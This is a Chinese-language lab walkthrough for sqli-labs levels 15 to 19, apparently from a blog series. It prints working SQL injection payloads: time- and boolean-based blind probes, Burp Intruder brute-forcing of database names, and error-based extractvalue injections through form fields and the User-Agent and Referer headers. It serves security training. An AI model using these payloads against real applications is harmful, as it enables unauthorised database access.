★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
接上文:SQL注入【sqli靶场第11-14关】(三)
5、Less15
POST - Blind-Boolian/time Based-Single quotes
5.1、判断是否存在SQL注入
使用时间盲注验证
# 输入内容
'and+if('a'='a',sleep(1),sleep(5))--+
5.2、借用BP爆破数据库
5.2.1、爆破数据库长度
# 输入内容
'and+if(length(database())=5,1,0)--+
在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到数字5,这个值任意填写的。Attack Type选择:Cluster bomb,参数设置看截图说明。
从爆破结果得到数据库长度是8
5.2.2、爆破数据库名
# 输入内容
'and+if(substr(database(),1,1)='a',1,0)--+
爆破参数设置看截图说明,需要2个参数,第一个是截取的数据库对应的字段索引,第二个是匹配的内容。
6、Less16
POST - Blind-Boolian/time Based-Double quotes
6.1、判断是否存在SQL注入
使用时间盲注验证
# 输入内容
")and+if(1=1,sleep(1),sleep(5))--+
6.2、借用BP爆破数据库
由于Less-16注入语句和Less-15区别就在前面的引号,Less-15前面是单引号'
,Less-16前面是双引号+括号")
下面两个步骤我只给出验证通过的注入SQL,操作步骤参考5.2。
6.2.1、爆破数据库长度
# 输入内容
")and+if(length(database())=5,1,0)--+
6.2.2、爆破数据库名
# 输入内容
")and+if(substr(database(),1,1)='a',1,0)--+
7、Less-17
POST - Update Query- Error Based - string
7.1、判断是否存在SQL注入
正常响应长度
密码输入带单引号’,响应长度有变化
往下拉看到有提示错误信息,可以确定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin3'' at line 1</br>
7.2、报错函数
7.2.1、获取数据库名和账号
根据报错函数获取到数据库名,登录名,注意是在密码后拼接
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
# 输出内容
XPATH syntax error: '~security~'</br>
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
# 输出内容
XPATH syntax error: '~root@localhost~'</br>
8、Less-18
POST -Header Injection - Uagent field - Error based
8.1、报错函数
删除原来User-Agent的信息输入SQL注入语句获取到数据库和账号
# 输入内容--数据库名
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
# 输入内容--登录名
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
9、Less-19
POST - Header lnjection - Referer field - Error based
9.1、报错函数
删除原来Referer的信息输入SQL注入语句获取到数据库和账号
# 输入内容--数据库名
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
# 输入内容--登录名
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
10、下期内容预告
下期继续分享:SQL注入【sqli靶场第20-22关和dnslog外带】(五),敬请关注我的公众号:大象只为你,持续更新中…